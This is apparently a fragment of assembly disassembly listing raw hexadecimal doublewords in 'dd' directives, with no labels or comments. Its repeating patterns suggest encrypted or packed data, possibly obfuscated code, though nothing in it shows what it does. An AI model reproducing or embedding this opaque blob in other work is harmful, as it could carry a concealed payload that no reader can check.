		dd 4729B4E3h, 0C85A4760h, 0EECF57D2h, 8B30F4D3h, 0A4B79860h
		dd 0DD34165Eh, 4CB79CB6h, 4E34167Ah, 4729B4E3h,	815A6260h
		dd 0EEC182CEh, 8B0334D3h, 0A4B79860h, 0DD34165Eh, 7CB79CB6h
		dd 4E341646h, 4729B4E3h, 355A4760h, 0EEB8C857h,	8B30F4D3h
		dd 0A4B79860h, 0DD34165Eh, 84B79CB6h, 4E34164Ch, 4729B4E3h
		dd 1B5A4360h, 0EEE60A0Bh, 8B1664D3h, 1CB79860h,	0DD34131Ah
		dd 4B79CB6h, 4E341642h,	4729B4E3h, 585A5260h, 0EEB3C976h
		dd 8B30F4D3h, 0A4B79860h, 0DD34165Eh, 28B79CB6h, 4E34167Ah
		dd 4729B4E3h, 0C05A5260h, 0EEB81AD3h, 8B30F4D3h, 0A4B79860h
		dd 0DD34165Eh, 0E7B79CB6h, 0B341C8Ah, 47379CDBh, 0A63D1560h
		dd 11321337h, 939390A0h, 2C7E1365h, 0FBE8098Fh,	13D3A099h
		dd 0DBF1365h, 42312D86h, 0A7BBC599h, 173BF984h,	939390A0h
		dd 2C7E1365h, 0FF46CBA8h, 13D3A099h, 0DBF1365h,	42312D86h
		dd 0A7BBC599h, 173BF980h, 939390A0h, 2C7E1365h,	95B39759h
		dd 13D3A099h, 0DBF1365h, 42312D86h, 0A7BBC599h,	173BF98Ch
		dd 939390A0h, 2C7E1365h, 911D557Eh, 13D3A099h, 0DBF1365h
		dd 42312D86h, 0A7BBC599h, 173BF98Ch, 939390A0h,	2C741365h
		dd 98EC1372h, 13D3A099h, 0DBF1365h, 42312D86h, 0A7BBC599h
		dd 173BF994h, 939390A0h, 2C751365h, 0A3EE051Ch,	13D3A099h
		dd 0DBF1365h, 42312D86h, 0A7BBC599h, 173BF99Ch,	939390A0h
		dd 2C751365h, 0CDB59BCAh, 13D3A099h, 0DBF1365h,	42312D86h
		dd 0A7BBC599h, 173BF998h, 939390A0h, 2C751365h,	0F6A8B2B4h
		dd 13D3A099h, 0DBF1365h, 42312D86h, 0A7BBC599h,	173BF864h
		dd 939390A0h, 2C751365h, 98F32C62h, 13D3A099h, 0DBF1365h
		dd 42312D86h, 0A7BBC599h, 173BF860h, 9113A8E5h,	31321365h
		dd 83B7D346h, 5634167Dh, 0FA1F720Eh, 0A587EA86h, 0AF341664h
		dd 120AF5E3h, 1E2EA60h,	4DDF1FE3h, 83B7D360h, 5634167Dh
		dd 0A181A40Eh, 0A587EAE8h, 0AF341664h, 120AF5E3h, 1E2EA60h
		dd 4DDF1BE3h, 83B7D360h, 5234167Dh, 0FE78B20Eh,	0A587EAA6h
		dd 0AF341664h, 120AF5E3h, 1E2EA60h, 4DDF07E3h, 83B7D360h
		dd 5D34167Dh, 0EE5EFE0Eh, 6587EA9Dh, 0AF341657h, 120AF5E3h
		dd 1E2EA60h, 4DDFB3E3h,	83B7D360h, 5534167Dh, 0FBBC400Eh
		dd 0A587EADDh, 0AF341664h, 120AF5E3h, 1E2EA60h,	4DDF03E3h
		dd 83B7D360h, 5234167Dh, 65CE90Eh, 0A587EADAh, 0AF341664h
		dd 120AF5E3h, 1E2EA60h,	4DDF0FE3h, 83B7D360h, 4234167Dh
		dd 980CBF0Eh, 0A587EAA0h, 0AF341664h, 120AF5E3h, 1E2EA60h
		dd 4DDF0BE3h, 0D38F9660h, 1134164Ah, 88D29169h,	0C1F41566h
		dd 24310EC7h, 0DF037D20h, 3DCDEFF0h, 42311787h,	1AD290EBh
		dd 0C1CD1365h, 654890EFh, 0C1F4136Fh, 24310EC7h, 2BE47D20h
		dd 3DCDE9C1h, 42311787h, 1AD290EBh, 0C1CD1365h,	65B890EFh
		dd 0C1F4136Fh, 24310EC7h, 0B5327D20h, 3DCD879Ah, 42311787h
		dd 1AD290EBh, 0C1CD1365h, 65BC90EFh, 0C1F4136Fh, 24310EC7h
		dd 5E587D20h, 3DCDE3B2h, 42311787h, 1AD290EBh, 0C1CD1365h
		dd 65A090EFh, 0C1F4136Fh, 24310EC7h, 41D57D20h,	3DCD81ABh
		dd 42311787h, 1AD290EBh, 0C1CD1365h, 654C90EFh,	0C1F4136Fh
		dd 24310EC7h, 65097D20h, 3DCDA444h, 42311787h, 1AD290EBh
		dd 0C1CD1365h, 65B090EFh, 0C1F4136Fh, 24310EC7h, 0FBDF7D20h
		dd 3DCDCA1Fh, 42311787h, 1AD290EBh, 0C1CD1365h,	65B490EFh
		dd 0F9B1136Fh, 24310C47h, 0D7126066h, 8B29B4E3h, 1A5A4660h
		dd 0DDFCAB86h, 1230F4D3h, 68B79860h, 0BB34165Eh, 0B79CB6h
		dd 0D7341C8Bh, 8B29B4E3h, 0C35A5260h, 0DDF5A438h, 1230F4D3h
		dd 68B79860h, 0BB34165Eh, 4B79CB6h, 92341C8Bh, 8B2B34DBh
		dd 64471560h, 399390A0h, 79751365h, 6E506B63h, 46D3A099h
		dd 0A7BF1365h, 17312D86h, 0DBBC599h, 423BF84Ch,	399390A0h
		dd 79711365h, 1A481C90h, 46D3A099h, 0A7BF1365h,	17312D86h
		dd 0DBBC599h, 423BF848h, 399390A0h, 79711365h, 74138246h
		dd 46D3A099h, 0A7BF1365h, 17312D86h, 0DBBC599h,	423BF854h
		dd 3B13A8E5h, 64321365h, 29B7D326h, 734167Dh, 229A160Eh
		dd 0F087EAEDh, 5341664h, 470AF5E3h, 0ABE2EA60h,	18DF2FE3h
		dd 29B7D360h, 734167Dh,	7904C00Eh, 0F087EA83h, 5341664h
		dd 470AF5E3h, 0ABE2EA60h, 18DF23E3h, 29B7D360h,	734167Dh
		dd 8800F40Eh, 0F087EA8Ch, 5341664h, 470AF5E3h, 0ABE2EA60h
		dd 18DF2BE3h, 29B7D360h, 734167Dh, 0D39E220Eh, 0F087EAE2h
		dd 5341664h, 470AF5E3h,	0ABE2EA60h, 18DF57E3h, 29B7D360h
		dd 0B34167Dh, 17A2C10Eh, 0F087EAF1h, 5341664h, 470AF5E3h
		dd 0ABE2EA60h, 18DF53E3h, 29B7D360h, 0B34167Dh,	4C3C170Eh
		dd 0F087EA9Fh, 5341664h, 470AF5E3h, 0ABE2EA60h,	18DF5FE3h
		dd 29B7D360h, 934167Dh,	154B5C0Eh, 0F087EAAEh, 5341664h
		dd 470AF5E3h, 0ABE2EA60h, 18DF47E3h, 29B7D360h,	934167Dh
		dd 0D57F9C0Eh, 0F087EABAh, 5341664h, 470AF5E3h,	0ABE2EA60h
		dd 18DF5BE3h, 29B7D360h, 1134167Dh, 391F220Eh, 0F087EAFAh
		dd 5341664h, 470AF5E3h,	0ABE2EA60h, 18DF43E3h, 29B7D360h
		dd 734167Dh, 0F7C23F0Eh, 0F087EAB4h, 5341664h, 470AF5E3h
		dd 0ABE2EA60h, 18DF4FE3h, 29B7D360h, 1634167Dh,	6086FF0Eh
		dd 0F087EA9Bh, 5341664h, 470AF5E3h, 0ABE2EA60h,	122E48E3h
		dd 29B7D360h, 334167Dh,	0BA6B8C0Eh, 0F087EA84h,	5341664h
		dd 470AF5E3h, 0ABE2EA60h, 18DF4BE3h, 29B7D360h,	334167Dh
		dd 0DF52D70Eh, 0F087EAD7h, 5341664h, 470AF5E3h,	0ABE2EA60h
		dd 18DF77E3h, 29B7D360h, 334167Dh, 84CC010Eh, 0F087EAB9h
		dd 5341664h, 470AF5E3h
		dd 0ABE2EA60h, 18DF73E3h, 29B7D360h, 1B34167Dh,	72C07D0Eh
		dd 0F087EAF8h, 5341664h, 470AF5E3h, 0ABE2EA60h,	18DF7FE3h
		dd 29B7D360h, 0B34167Dh, 0DE492A0Eh, 0F087EAA1h, 5341664h
		dd 470AF5E3h, 0ABE2EA60h, 18DF83E3h, 29B7D360h,	334167Dh
		dd 795C590Eh, 0F087EA9Ch, 5341664h, 470AF5E3h, 0ABE2EA60h
		dd 18DF8FE3h, 29B7D360h, 334167Dh, 2416D80Eh, 0F087EAA5h
		dd 5341664h, 470AF5E3h,	0ABE2EA60h, 18DF8BE3h, 29B7D360h
		dd 1B34167Dh, 9952D90Eh, 0F087EAB2h, 5341664h, 470AF5E3h
		dd 0ABE2EA60h, 18DF7BE3h, 29B7D360h, 1B34167Dh,	0CB665B0Eh
		dd 0F087EAF8h, 5341664h, 470AF5E3h, 0ABE2EA60h,	18DF67E3h
		dd 29B7D360h, 1B34167Dh, 311A5D0Eh, 0F087EAB7h,	5341664h
		dd 470AF5E3h, 0ABE2EA60h, 18DF63E3h, 0E0367F60h, 44320566h
		dd 2222150Eh, 0EE327F66h, 8B3580F3h, 0F1B79C60h, 0AF34164Ch
		dd 188006E3h, 0E2E2EA60h, 54327D62h, 225A1566h,	7B321546h
		dd 1DA7EA66h, 0CD341661h, 211EC4E3h, 44B79C60h,	0E234166Dh
		dd 54327D26h, 225A1566h, 7B321466h, 1DA7EA66h, 0CD341661h
		dd 211840E3h, 1C879E60h, 3341678h, 4737A8FBh, 63879C60h
		dd 98341672h, 8B3A20FBh, 0F9AF9E60h, 0A9341663h, 11CB966Dh
		dd 82ED9169h, 15621566h, 0ABF22606h, 1230A8E3h,	880EAB60h
		dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h
		dd 9FBB0D18h, 173134EBh, 0D3DEAE3h, 4432156Ch, 22231B8Eh
		dd 11A3FC66h, 3631566h,	40E07EB1h, 2F2380EFh, 15581365h
		dd 8822150Eh, 44584766h, 25A78099h, 94BB1365h, 8E3134C7h
		dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h
		dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 0F18F9EB1h,	0A134164Ch
		dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh
		dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 8B30A8E3h
		dd 0F9A79E60h, 1B341664h, 121398F3h, 82B61A60h,	1E321566h
		dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 24312463h
		dd 11321566h, 0A43790A1h, 44321365h, 9FB11566h,	173BF9B8h
		dd 80B61A66h, 0C9321566h, 2B7E5BFBh, 0EEE1EA60h, 8B34A8E3h
		dd 0F98F9660h, 46341660h, 11509769h, 0DF51566h,	423113DBh
		dd 22321567h, 0A7879806h, 5341C8Bh, 4E3834DBh, 0A9CC3E60h
		dd 0A48F9EB1h, 0B34164Ch, 8401EAAFh, 0E30013ECh, 96369E20h
		dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 961F905Fh
		dd 0C03D1365h, 22321571h, 3F8FA8E5h, 87321365h,	44321FE3h
		dd 0DBB7D266h, 10341671h, 0E9321566h, 8D76BBDFh, 0E172AF66h
		dd 989F7830h, 8B2654D3h, 0B874D260h, 22321566h,	0FFDCFB5Bh
		dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h
		dd 44321560h, 26F49666h, 573A0EFh, 71DB1365h, 0CF32156Eh
		dd 0DBB726BEh, 0D0341671h, 4A1916AEh, 7722D5A7h, 0DBAF9CA7h
		dd 2C341671h, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh
		dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 8B2654D3h
		dd 0F9AF9E60h, 0A9341663h, 71E29E6Dh, 0D19D7EDh, 4231155Bh
		dd 2130F5A7h, 123650E3h, 8B9F8360h, 60769CA7h, 5EDB747Ah
		dd 40321566h, 3FB2634h,	4713B4F3h, 2D302E60h, 11322DE2h
		dd 8CF09666h, 0C9BF2E27h, 2D341647h, 0EECDFDE3h, 13879899h
		dd 0C9341C8Ah, 2132A0DBh, 0D1B6B960h, 88349169h, 0AD981566h
		dd 0DDCDEA97h, 113215DEh, 0E1BF9866h, 0BB34162Bh, 9FBF9C87h
		dd 4B341664h, 15B9433Fh, 423110DBh, 0A7B91EEDh,	173117DBh
		dd 0D31F5B7h, 4231081Fh, 44A4E355h, 13D2D4CBh, 8C779065h
		dd 0E9A41365h, 0A16CD465h, 121738DBh, 0C3D1460h, 4432155Fh
		dd 20D3985Dh, 953D1365h, 8832154Bh, 7513985Dh, 0A63D1365h
		dd 11321547h, 97AF985Dh, 0C03D1365h, 22321573h,	10CB88EBh
		dd 5BCD136Ch, 0C1BBEDEDh, 24311B2Bh, 1134A18Fh,	71AF9866h
		dd 0BB341F67h, 0F8F96B5h, 11341643h, 882F9169h,	0C1091566h
		dd 24310DA7h, 113E9169h, 0D091566h, 42313C83h, 22379069h
		dd 0A8DB1566h, 0B3CDEA99h, 471434E3h, 3AB71A60h, 92321566h
		dd 8B2F9CDBh, 0C13D1560h, 2232156Dh, 0A36790EBh, 1DDB136Fh
		dd 7FCDEA99h, 211434E3h, 98B61A60h, 0BCDEA99h, 4DDE82DBh
		dd 0A73D1460h, 11321571h, 64C4905Dh, 0C13D136Fh, 2232156Dh
		dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 0AB8F9699h, 11341663h
		dd 8B559169h, 0C1091566h, 243BF984h, 94B91213h,	8E31023Bh
		dd 0AEB72E21h, 57341C8Ah, 0E0B79E61h, 0CF34166Dh, 0A8D4905Dh
		dd 2547136Fh, 4EF90EDh,	0B3751365h, 4DDEFBE3h, 0A9356060h
		dd 121454E3h, 0D095260h, 423BF994h, 0A7B91213h,	1731151Fh
		dd 7EB72E21h, 31341C8Ah, 3B79E61h, 5634164Fh, 64C8905Dh
		dd 4347136Fh, 6E790EDh,	2A751365h, 81DEEBE3h, 0CF356060h
		dd 2137C0E3h, 94095260h, 8E3BF864h, 0C1B91213h,	2431342Bh
		dd 17B72E21h, 0FD341C8Bh, 71B79E61h, 65341670h,	0FC3C905Dh
		dd 8F47136Fh, 52CB90EDh, 19751365h, 18DF1FE3h, 0B226060h
		dd 472B34DBh, 25471560h, 83390EDh, 0B751365h, 471DB0DBh
		dd 2D461560h, 0FCA4905Dh, 8F47136Fh, 6A2790EDh,	0A1751365h
		dd 121EE4DBh, 0FA461560h, 5F4FA8E5h, 56321365h,	6BB72E0Fh
		dd 0FD341C8Bh, 39B79E61h, 6534167Fh, 0FCB8905Dh, 8F47136Fh
		dd 5CB790EDh, 19751365h, 18DF6BE3h, 3356060h, 471B50E3h
		dd 0A7095260h, 173BF8E8h, 0DB91213h, 423119ABh,	0B0B72E21h
		dd 64341C8Bh, 55B79E61h, 3341648h, 0CFB0905Dh, 1647136Fh
		dd 0AA7390EDh, 7F751365h, 2BDF93E3h, 9A356060h,	8B3B18E3h
		dd 0F9B15260h, 24310E1Bh, 1BB61A66h, 0B3321564h, 4DDF07E3h
		dd 0A9356060h, 122B40E3h, 0D095260h, 423BF8C0h,	0A7B91213h
		dd 1731196Bh, 9EB72E21h, 31341C8Bh, 4FB79E61h, 5634167Eh
		dd 6528905Dh, 4347136Fh, 2A1790EDh, 2A751365h, 81DF0BE3h
		dd 0CF356060h, 2118C4E3h, 94095260h, 8E3BF844h,	0F9B10513h
		dd 24310C47h, 9A356066h, 8B3938E3h, 0C1095260h,	243BF840h
		dd 94B91213h, 8E313B93h, 6EB72E21h, 57341C8Bh, 308F9676h
		dd 8834167Fh, 0C1B91213h, 243130B3h, 3FB72E21h,	0FD341C8Bh
		dd 0F1B79E61h, 65341660h, 0FC00905Dh, 8F47136Fh, 6EBB90EDh
		dd 19751365h, 18DF2FE3h, 0B226060h, 472B34DBh, 25471560h
		dd 0DD390EDh, 0B3751365h, 4DDF23E3h, 0A1226060h, 122B34DBh
		dd 8F471560h, 662790EDh, 19751365h, 18DF2BE3h, 3356060h
		dd 471D8CE3h, 0A7095260h, 173BF824h, 0DB91213h,	4231165Fh
		dd 64B72E21h, 64341C8Bh, 0B9B79E61h, 3341675h, 0CF78905Dh
		dd 1647136Fh, 919390EDh, 7F751365h, 2BDF5BE3h, 9A356060h
		dd 8B1EC8E3h, 0C1095260h, 243BF834h, 94B91213h,	8E310343h
		dd 12B72E21h, 57341C8Bh, 0ECB79E61h, 0CF34164Ah, 0A968905Dh
		dd 2547136Fh, 3B0790EDh, 0B3751365h, 472E48E3h,	0A9356060h
		dd 1218FCE3h, 0D095260h, 423BF838h, 0A7B91213h,	17311DBBh
		dd 12B72E21h, 31341C8Bh, 808F967Fh, 11341C8Bh, 35B11C13h
		dd 4231304Bh, 0A9356166h, 122FF4E3h, 0D095260h,	423BF8F8h
		dd 9FB10C13h, 173BF8C4h, 0B3B6066h, 471738DBh, 25461560h
		dd 13CF90EDh, 0B3751365h, 4DDF77E3h, 0A9356060h, 1224D4E3h
		dd 0D095260h, 423BF800h
		dd 0A7B91213h, 17311A0Bh, 0E2B72E21h, 31341C8Bh, 0FBB79E61h
		dd 56341669h, 655C905Dh, 4347136Fh, 3C5790EDh, 2A751365h
		dd 81DF67E3h, 0CF356060h, 21346CE3h, 94095260h,	8E3BF810h
		dd 0C1B91213h, 24310C33h, 1ECD1E21h, 883210E2h,	0BFD8FC66h
		dd 0A709EA99h, 1731350Bh, 88399069h, 0C1BF1566h, 243BB165h
		dd 0EEC9C68Fh, 1DB72E99h, 4B34164Ch, 22320DE3h,	868F9666h
		dd 89341C8Ah, 44399069h, 0A7BF1566h, 116AF345h,	77C9BA8Fh
		dd 96B72E99h, 2D341C8Ah, 113219E2h, 5EB72E66h, 4B341C8Ah
		dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h
		dd 11321523h, 64F4905Dh, 0C13D136Fh, 2232156Dh,	73D690EBh
		dd 0E5DB153Eh, 7FCDEA9Dh, 2BDEDFE3h, 1AB71A60h,	5321566h
		dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8E3BF9A8h,	44399069h
		dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h
		dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 121D5CD3h
		dd 31879C60h, 0C434166Dh, 0A73DFC58h, 11321540h, 8B336BEDh
		dd 0C5EC9E98h, 227215A5h, 588F2E66h, 87341649h,	44321DE4h
		dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h,	243139B7h
		dd 0C4390A1h, 88321365h, 0CD521566h, 2139ACD3h,	0CBAF9860h
		dd 77341F61h, 66B01AB5h, 0AF321566h, 194804FBh,	87E1EA60h
		dd 0BBCDCBE5h, 9B879E99h, 9834166Dh, 8B2F64D3h,	0B2AF9860h
		dd 0DD341C2Dh, 58B79EB5h, 1341649h, 4739ACE3h, 0BFBF7460h
		dd 17381125h, 15BFC699h, 4238124Dh, 0A13DC699h,	1132156Ah
		dd 838B90E5h, 0AD371365h, 0DDCDEAB8h, 166688EBh, 5BCD136Ch
		dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h,	423A6F77h
		dd 0A13DC699h, 1132156Dh, 838BA0EDh, 0C4DB1365h, 0A9321561h
		dd 1239ACEBh, 31879C60h, 6F34166Dh, 9EBE2A8h, 0F896E697h
		dd 77CDEAF0h, 87C88EBh,	0F1CD136Fh, 9419D2EDh, 8E3139B7h
		dd 40E390EFh, 0A7B91365h, 173139B7h, 5BF4531h, 423B59A5h
		dd 0A7B9C499h, 17313F33h, 0DB94236h, 423139B7h,	0D0BF9836h
		dd 0EE341C2Ah, 3E29EB7h, 11BF3EAEh, 0A134164Ch,	123AD8DBh
		dd 0C3D1560h, 4432154Dh, 2D6B90EDh, 94191365h, 8E311DABh
		dd 0C23DD45Dh, 22321571h, 3CBB90EDh, 0D311365h,	42311DABh
		dd 2C7F90EFh, 52DB1365h, 0D9321566h, 497AD4EDh,	22321A99h
		dd 48B79C26h, 89341669h, 473A64E3h, 0EFB7D260h,	1134166Eh
		dd 0E2321566h, 54327D26h, 48631566h, 84A7EA66h,	77341661h
		dd 47145CF3h, 0ABB79C60h, 9834164Bh, 8B3C58E3h,	0F1CD4C60h
		dd 24311B2Bh, 3B67A099h, 77651365h, 471EC4D3h, 0A6B79860h
		dd 0EE341C37h, 45BF14B6h, 0CF34166Eh, 213C58DBh, 44879E60h
		dd 7B34164Ch, 5879EC2h,	8F341672h, 11CE53A1h, 49321566h
		dd 0EA3710A6h, 2132DC22h, 122128E3h, 0C5BF9E60h, 0CD341668h
		dd 64F5B86Eh, 1132159Ah, 0C9879C66h, 0C7341672h, 0A73DEA9Eh
		dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h,	113213A1h
		dd 4EB11566h, 5879C62h,	0CB341672h, 0EECDE380h,	8B31D5A7h
		dd 472128E3h, 438F9660h, 10341670h, 88AF9169h, 7AB31566h
		dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h,	22321566h
		dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 71FA8E5h, 1E331365h
		dd 88322BE2h, 4532AD66h, 9FB11566h, 173BF9B8h, 80B61A66h
		dd 0C9321566h, 2B66D0FBh, 91E1EA60h, 0C3D8559h,	4432156Eh
		dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h,	88A2A566h
		dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h
		dd 81DECBDBh, 0C03D1560h, 2232156Eh, 45A788EBh,	5BCD136Fh
		dd 0CF3652EEh, 213C58E3h, 92F53E60h, 2599118Eh,	44CE53A1h
		dd 0CB321566h, 0EECDEA77h, 9C73A0EFh, 2C601365h, 22329566h
		dd 0A4CD150Ch, 8E3134C7h, 60278099h, 0A9681365h, 1237A8EBh
		dd 8833D260h, 0C7321566h, 0AFBB11A7h, 173110DBh, 77C7058Fh
		dd 4296FC99h, 0A9521566h, 1237A8EBh, 13B9E60h, 4DDECFEBh
		dd 6C0A9460h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h
		dd 113205E3h, 0BC29E66h, 0C1B913A0h, 24310ACBh,	1133138Fh
		dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh,	0C3D385Ah
		dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h
		dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah
		dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh
		dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h
		dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 0F9879866h
		dd 0A9341643h, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh
		dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 243130DBh, 0A1790EDh
		dd 48B71365h, 44289069h, 0A7F41566h, 17310EC7h,	2FE07D21h
		dd 0F1CDC1FCh, 24313117h, 6D6A90EBh, 58CD1360h,	0C1E2EA34h
		dd 1AB71AA6h, 9A321566h, 8B1058E3h, 4BF29060h, 22320FE3h
		dd 0B0B7D366h, 0C434167Dh, 9E2EFC0Eh, 5387EABFh, 9C341642h
		dd 8E4E4DE3h, 16E2EA60h, 0E2B7C599h, 11379069h,	0A9DB1566h
		dd 0CD321566h, 2BDECFE3h, 9C644560h, 8EA75FE3h,	4FE2EA60h
		dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh,	0A952D607h
		dd 18DECFEBh, 49B94560h, 0CF0E5565h, 22329DF6h,	44A79C66h
		dd 8D341656h, 4432159Eh, 0AB3E45EDh, 121110F3h,	0CCB94D60h
		dd 85193142h, 137905Dh,	933D1365h, 88321576h, 7467905Dh
		dd 0A13D1365h, 11321562h, 8836D707h, 6036D207h,	22321566h
		dd 151651A1h, 88321566h, 443210DEh, 4BBF9866h, 0EE34162Bh
		dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah,	88321524h
		dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h,	0C03DFE5Ah
		dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h
		dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h,	0EAC99667h
		dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h
		dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h
		dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h,	0A89ED555h
		dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h,	113230E2h
		dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h
		dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h,	0C1F5D638h
		dd 243BF8CCh, 11321560h, 6BB20BECh, 0C4C99596h,	0DDD19069h
		dd 9A7CEA99h, 8B1D5CE3h, 35A79E60h, 0A934167Bh,	17F196B8h
		dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h
		dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh
		dd 298BA0EFh, 4A6D1365h, 4CB14B3Fh, 0BE52FC62h,	0A7F5EA99h
		dd 173BF8CCh, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h
		dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h,	8832EA87h
		dd 0CFEB3E66h, 211D5CE3h, 60A79E60h, 0B34167Bh,	470310DBh
		dd 0A63D1460h, 113215C5h, 0A3DCD5Dh, 443215FDh,	0A03DCF5Dh
		dd 0EECDEA27h, 88329B8Fh, 0EEB7D266h, 20341C8Bh, 9A321566h
		dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh
		dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 42313A2Fh
		dd 3F4380EDh, 0ACB11365h, 8E312463h, 0CB61A67h,	19321566h
		dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h
		dd 8B2A568h, 85381A87h
		dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 4739ACD3h,	27B7D260h
		dd 10341657h, 0B321566h, 1D6911A2h, 0A136D1E5h,	66DB11A2h
		dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h
		dd 40F69638h, 0DDCBD28Fh, 0BBB7D299h, 8D341C8Bh, 0CF321566h
		dd 26F196B8h, 94B90B65h, 8E313A2Fh, 594380EDh, 0A17C1365h
		dd 121E10DBh, 0C3D1460h, 44321465h, 0A03DCD5Dh,	1132156Eh
		dd 0E3DCF5Dh, 4432154Dh, 298BA0EFh, 8CB91365h, 8E3BF8CCh
		dd 48164967h, 2232CB8Fh, 94F54A66h, 8E313963h, 44321567h
		dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 470310DBh, 0A63D1460h
		dd 113215DDh, 0A77B884Dh, 0C9B91365h, 243139B7h, 0DE19DE65h
		dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h
		dd 0C1F5EA99h, 243BF8CCh, 11321564h, 3E3DCBEDh,	0C4CB9568h
		dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h
		dd 1132EA87h, 3EB3E66h,	471D5CE3h, 53A79E60h, 0F834167Bh
		dd 77CDEA20h, 0A99890A1h, 2230136Fh, 0CFB91566h, 83CA369h
		dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h
		dd 0DDD394BFh, 3A321566h, 0C1B79EBFh, 0CF341649h, 212F64F3h
		dd 148F9660h, 89341657h, 0BAFB9169h, 0FA09EA99h, 113A9769h
		dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh
		dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h
		dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h,	0C9B1CA4Dh
		dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h,	113255E2h
		dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h
		dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh
		dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h
		dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h,	1EDB1566h
		dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h
		dd 594398EDh, 0EBB71365h, 11349069h, 3DBB1566h,	42310817h
		dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h,	0A2C2F6E6h
		dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h,	953DFE5Ah
		dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah,	88321551h
		dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h,	0A70E1566h
		dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh
		dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h,	122F64D3h
		dd 7EAF9860h, 0BB341C2Dh, 72F1ECB5h, 982253EDh,	8B3228E3h
		dd 82B14D60h, 678F987Ah, 0BC341662h, 0AC165165h, 9D8F98CDh
		dd 8F34164Ch, 35165165h, 35BFBE36h, 4231081Fh, 67616CBh
		dd 0D26CBE4Eh, 47AF9830h, 0BB341C2Dh, 0FF95FCB5h, 0CEDFFFFFh
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 4C4A88C0h, 0A8ED96A4h
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
